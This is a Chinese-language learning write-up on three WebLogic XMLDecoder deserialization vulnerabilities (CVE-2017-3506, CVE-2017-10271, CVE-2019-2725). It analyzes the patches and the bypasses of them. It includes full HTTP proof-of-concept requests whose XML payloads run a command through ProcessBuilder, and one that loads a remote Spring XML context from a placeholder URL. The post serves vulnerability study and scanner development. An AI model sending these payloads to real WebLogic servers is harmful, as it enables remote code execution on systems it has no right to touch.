Weblogic XMLDecoder反序列化学习

栏目: Java · 发布时间: 5年前

内容简介:鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。这是一个java中的类,并不是Weblogic特有的,类的位置为

鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。

  • CVE-2017-3506
  • CVE-2017-10271
  • CVE-2019-2725

由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。

XMLDecoder

这是一个 java 中的类,并不是Weblogic特有的,类的位置为 java.beans.XMLDecoder

个人理解就是将一个描述java操作的XML文件转换为实际的java操作代码,也类似于一种反序列化的操作,只是载体变成了XML文件。(可能不咋准确

举个栗子

poc.xml

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1" >
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

然后我们利用 XMLDecoder 类对其进行反序列化操作

public class Main {

    public static void main(String[] args) {
        String path = "src/poc.xml";
        try {
            XMLDecode_Deserialize(path);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static void XMLDecode_Deserialize(String path) throws Exception {
        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xd = new XMLDecoder(bis);
        xd.readObject();
        xd.close();
    }
}

运行之后可以发现,执行了 java.lang.ProcessBuilder("calc").start() 的操作。

XML文件里的描述也正是对于执行这样一段代码的描述(或者说序列化),通过XMLDecoder反序列化之后执行了这段代码。

对于具体XMLDecoder的执行流程,能力有限,本菜就稍微跟着看了下,就不班门弄斧了,感兴趣的可以看。

https://xz.aliyun.com/t/5069

CVE-2017-3506

这里测试的Weblogic版本为 10.3.6

漏洞触发的POC

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 495

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
<java>
	<object class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="1" >
			<void index="0"> 
				<string>calc</string>			
			</void>		
		</array>
		<void method="start"/>
	</object>
</java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

关于漏洞触发点在 https://xz.aliyun.com/t/1848 中提到

对于poc中uri中 /wls-wsat/CoordinatorPortType 可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri

动态调试

断点打在 weblogic.wsee.workarea WorkContextXmlInputAdapterreadUTF() ,可以看到对应调用的堆栈信息

Weblogic XMLDecoder反序列化学习

来到 weblogic.wsee.jaxws.workcontextprocessRequest

可以看到传入的 var1 就是POST的XML内容,类型为一个 Packet

Weblogic XMLDecoder反序列化学习

然后通过

HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);

获取到了 var3 并传入到了 this.readHeaderOld(var3); 方法中

再到 readHeaderOld 中可以看到 var4 的值正是之前XML数据中的java标签代码

Weblogic XMLDecoder反序列化学习

通过 var4 生成了 var6WorkContextXmlInputAdapter 类,最后调用到了其 readUTF() 方法,从而进行了 XMLDecoder.readObject() 的反序列化。

漏洞补丁

由于本人也不知道怎么拿到weblogic的补丁,于是只能参考别的师傅文章中给出的补丁

这次的补丁在 WorkContextXmlInputAdapter 中添加了 validate 的验证,很明显的黑名单验证

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

可以看到限制了 Object 标签,从而限制通过XML来构造类。也正是因为这样的黑名单限制,所以很快就出了 CVE-2017-10271

CVE-2017-10271

这个漏洞存粹就是对上一个漏洞补丁的绕过。直接来看下POC

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 708

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
    <java>
        <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="1">
                <void index="0">
                	<string>calc</string>
                </void>
            </array>
        <void method="start"/></void>
    </java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

可以看到唯一的变化就是把之前的 Object 标签变成了 void 标签,就轻松的绕过了之前的补丁。

至于为什么可以的原因在那篇分析XMLDecoder原理的文章中也提到了 https://xz.aliyun.com/t/5069

这里我也稍微看了下,主要的原因可以通过继承关系看到, VoidElementHandler 类继承了 ObjectElementsHandler 类,并且没有重写 addAttribute 方法,所有调用时依旧是调用到 ObjectElementsHandler 中的方法,也就导致了 void 标签和 object 的标签都可以生成一个类。

Weblogic XMLDecoder反序列化学习

这回的补丁依旧是黑名单的形式,限制了不少的标签

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

CVE-2019-2725

这个洞时隔两年之后才被放出来

POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 728
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
   <soapenv:Header> 
	   <wsa:Action>xx</wsa:Action>
	   <wsa:RelatesTo>xx</wsa:RelatesTo>
	   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
		   <java>
				<class>					<string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
					<void>
						<string>http://xxxx</string>
					</void>
				</class>
			</java>
		</work:WorkContext>   
	</soapenv:Header>   
	<soapenv:Body>     
	<asy:onAsyncDelivery/>   
	</soapenv:Body>
</soapenv:Envelope>

可以看到这回是利用 class 标签构造类,但是由于限制了 method 从而无法调用函数,因此,找了几个可以通过构造函数进行反序列化的类。网上通用的有

FileSystemXmlApplicationContext
UnitOfWorkChangeSet

至于漏洞的修复,也是一如既往的黑名单,限制的更为严格了。

public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

由于能力有限,过多的思考和总结这里也就暂时谈不上,目前只当作学习了。不知这种黑名单的防御方式下一次被绕过会是在什么时候。

References


以上所述就是小编给大家介绍的《Weblogic XMLDecoder反序列化学习》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

LINUX与UNIX Shell编程指南

LINUX与UNIX Shell编程指南

David Tansley / 徐炎、张春萌 / 机械工业出版社 / 2000-6 / 38.00元

本书共分五部分,详细介绍了shell编程技巧,各种UNIX命令及语法,还涉及了UNIX下的文字处理以及少量的系统管理问题。本书内容全面、文字简洁流畅,适合Shell编程人员学习、参考。一起来看看 《LINUX与UNIX Shell编程指南》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

html转js在线工具
html转js在线工具

html转js在线工具